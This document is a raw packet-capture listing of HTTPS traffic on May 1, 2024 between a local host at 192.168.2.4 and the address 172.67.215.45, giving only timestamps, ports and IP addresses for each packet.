May 1, 2024 08:37:02.190114021 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.190191031 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.190212965 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.190241098 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.190267086 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.191416979 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.191440105 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.191500902 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.191518068 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.191543102 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.191569090 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.193257093 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.193281889 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.193365097 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.193393946 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.193449020 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.194348097 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.194365978 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.194427013 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.194449902 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.194504023 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.196670055 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.196686983 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.196754932 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.196779013 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.196830034 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.197293997 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.197309971 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.197365046 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.197379112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.197431087 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.197432041 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.199120998 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.199137926 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.199227095 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.199248075 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.199306011 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.200958014 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.200978041 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.201039076 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.201055050 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.201093912 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.201971054 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.201988935 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.202050924 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.202060938 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.202099085 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.203196049 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.203213930 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.203285933 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.203295946 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.203330994 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.211039066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.211061954 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.211158037 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.211180925 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.211219072 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.212563992 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.212582111 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.212644100 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.212654114 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.212666988 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.212690115 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.213649035 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.213670015 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.213717937 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.213725090 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.213747978 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.213777065 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.214600086 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.214617968 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.214660883 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.214665890 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.214684010 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.214699984 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.216267109 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.216284990 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.216344118 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.216351032 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.216451883 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.217216015 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.217236996 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.217322111 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.217329025 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.217345953 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.217396021 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.218193054 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.218210936 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.218266010 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.218276978 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.218300104 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.218328953 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.219223976 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.219252110 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.219302893 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.219309092 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.219335079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.219353914 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.220905066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.220925093 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.220993996 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.221000910 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.221045017 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.222069025 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.222084999 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.222152948 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.222160101 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.222199917 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.223033905 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.223051071 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.223113060 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.223119974 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.223162889 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.224008083 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.224025011 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.224077940 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.224082947 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.224122047 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.225591898 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.225608110 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.225671053 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.225677013 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.225711107 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.226752996 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.226769924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.226839066 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.226846933 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.226887941 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.227672100 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.227688074 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.227745056 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.227750063 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.227783918 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.228724003 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.228743076 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.228806973 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.228820086 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.228856087 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.230323076 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.230340004 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.230407953 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.230413914 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.230451107 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.231302977 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.231319904 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.231376886 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.231384039 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.231502056 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.232373953 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.232392073 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.232451916 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.232459068 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.232497931 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.233387947 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.233405113 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.233467102 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.233474016 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.233521938 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.235018969 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.235037088 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.235083103 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.235090017 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.235119104 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.235141993 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.236052036 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.236072063 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.236138105 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.236144066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.236186981 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.236999035 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.237024069 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.237096071 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.237104893 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.237155914 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.237981081 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.237998962 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.238054037 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.238060951 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.238085985 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.238120079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.239645004 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.239661932 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.239733934 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.239739895 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.239775896 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.240672112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.240689993 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.240741968 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.240748882 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.240772009 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.240797997 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.241657972 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.241677999 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.241741896 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.241748095 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.241785049 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.243350029 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.243370056 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.243437052 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.243442059 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.243477106 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.244261980 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.244281054 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.244344950 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.244350910 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.244390011 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.245377064 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.245395899 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.245451927 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.245460033 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.245496988 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.246280909 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.246298075 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.246357918 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.246366978 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.246404886 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.247993946 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.248013020 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.248080015 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.248086929 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.248143911 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.248989105 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.249010086 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.249088049 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.249094009 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.249130964 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.250168085 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.250188112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.250250101 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.250256062 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.250289917 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.251045942 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.251063108 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.251112938 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.251121998 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.251157999 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.252737045 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.252757072 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.252814054 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.252821922 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.252852917 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.253740072 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.253762007 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.253861904 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.253861904 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.253870010 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.253920078 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.254740953 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.254764080 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.254817963 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.254822969 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.254874945 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.255667925 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.255690098 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.255759954 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.255767107 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.255803108 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.257467031 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.257488012 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.257553101 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.257559061 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.257617950 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.258430958 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.258449078 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.258498907 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.258510113 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.258577108 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.259393930 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.259412050 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.259468079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.259473085 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.259510994 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.260294914 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.260312080 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.260360003 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.260370970 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.260411024 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.262145996 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.262164116 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.262223005 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.262242079 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.262276888 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.263173103 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.263190985 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.263246059 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.263253927 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.263289928 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.263827085 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.263847113 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.263878107 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.263885021 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.263911963 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.263931990 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.264786959 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.264803886 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.264866114 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.264870882 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.264906883 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.265722036 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.265739918 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.265772104 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.265775919 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.265805960 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.265826941 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.267412901 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.267431974 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.267493010 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.267499924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.267537117 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.268129110 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.268148899 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.268183947 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.268188000 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.268214941 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.268229961 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.269022942 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.269038916 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.269093990 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.269098997 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.269133091 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.269999027 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.270016909 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.270062923 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.270067930 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.270102024 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.270944118 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.270971060 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.271027088 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.271032095 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.271065950 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.272195101 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.272212029 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.272279024 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.272284985 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.272322893 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.273116112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.273133993 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.273176908 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.273180962 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.273220062 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.274029970 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.274045944 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.274092913 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.274097919 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.274121046 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.274142027 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.274972916 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.274988890 CEST	443	49741	172.67.215.45	192.168.2.4
